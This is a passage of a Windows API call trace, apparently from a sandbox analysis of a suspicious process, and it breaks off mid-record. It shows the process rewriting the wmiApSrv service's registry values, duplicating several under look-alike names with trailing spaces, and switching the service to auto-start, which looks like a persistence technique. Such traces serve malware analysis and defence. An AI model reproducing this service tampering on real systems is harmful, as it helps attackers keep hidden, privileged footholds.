[0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.646] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.647] RegCloseKey (hKey=0x14c) returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.647] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.647] RegCloseKey (hKey=0x148) returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.647] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.648] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.648] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.648] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.648] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.648] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.648] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.649] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.649] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.650] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.650] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.651] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.651] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.651] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.652] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.652] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0232.653] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.653] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.654] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.654] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.654] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.654] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0232.654] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0232.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0232.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0232.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0232.654] LocalFree (hMem=0x7f03d0) returned 0x0 [0232.654] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0232.654] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x8038a0 [0232.686] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0232.687] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.687] RegCloseKey (hKey=0x148) returned 0x0 [0232.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0232.688] RegCloseKey (hKey=0x150) returned 0x0 [0232.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0232.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0232.688] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, 